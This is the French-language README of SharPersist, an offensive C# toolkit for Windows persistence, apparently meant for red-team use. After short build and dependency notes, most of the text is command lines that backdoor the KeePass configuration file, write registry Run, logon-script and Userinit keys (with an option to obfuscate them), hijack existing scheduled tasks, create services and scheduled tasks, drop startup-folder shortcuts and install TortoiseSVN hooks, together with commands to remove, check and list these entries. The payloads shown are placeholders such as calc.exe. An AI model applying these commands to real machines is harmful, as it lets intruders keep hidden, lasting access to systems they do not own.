
Boîte à outils C# pour établir et gérer la persistance Windows via les clés de registre, les tâches planifiées, les services, les dossiers de démarrage, les configurations KeePass et les hooks TortoiseSVN.
Boîte à outils de persistance Windows écrite en C#. Pour des informations détaillées sur chaque technique, voir le Wiki.
Auteur - Brett Hawkins (@h4wkst3r)
Suivez les étapes ci-dessous pour configurer Visual Studio afin de compiler le projet vous-même. Cela nécessite quelques bibliothèques .NET qui peuvent être installées via le gestionnaire de packages NuGet.
Les bibliothèques tierces suivantes sont utilisées dans ce projet.
| Bibliothèque | URL | Licence |
|---|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler | MIT License |
| Fody | https://github.com/Fody/Fody | MIT License |
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11keepass - backdoor du fichier de configuration keepassreg - ajout/modification de clé de registreschtaskbackdoor - backdoor de tâche planifiée en ajoutant une action supplémentairestartupfolder - fichier .lnk dans le dossier de démarragetortoisesvn - script hook TortoiseSVNservice - créer un nouveau service Windowsschtask - créer une nouvelle tâche planifiéeadd - ajouter une technique de persistanceremove - supprimer une technique de persistancecheck - effectuer un essai à blanc de la technique de persistancelist - lister les entrées actuelles de la technique de persistanceenv - module optionnel pour l'obfuscation des variables d'environnement pour le registrehourly - module optionnel pour la fréquence des tâches planifiéesdaily - module optionnel pour la fréquence des tâches planifiéeslogon - module optionnel pour la fréquence des tâches planifiéeshklmrunhklmrunoncehklmrunonceexhkcurunhkcurunoncelogonscriptstickynotesuserinitKeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
Registre
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
Backdoor de tâche planifiée
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
Dossier de démarrage
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
Service Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
Tâche planifiée
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
KeePass
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
Registre
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
SharPersist -t reg -k "logonscript" -m remove
Backdoor de tâche planifiée
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
Dossier de démarrage
SharPersist -t startupfolder -f "Some File" -m remove
Tortoise SVN
SharPersist -t tortoisesvn -m remove
Service Windows
SharPersist -t service -n "Some Service" -m remove
Tâche planifiée
SharPersist -t schtask -n "Some Task" -m remove
KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
Registre
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
Backdoor de tâche planifiée
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
Dossier de démarrage
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
Service Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
Tâche planifiée
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
Registre
SharPersist -t reg -k "hkcurun" -m list
Backdoor de tâche planifiée
SharPersist -t schtaskbackdoor -m list
SharPersist -t schtaskbackdoor -m list -n "Some Task"
SharPersist -t schtaskbackdoor -m list -o logon
Dossier de démarrage
SharPersist -t startupfolder -m list
Service Windows
SharPersist -t service -m list
SharPersist -t service -m list -n "Some Service"
Tâche planifiée
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
SharPersist -t schtask -m list -o logon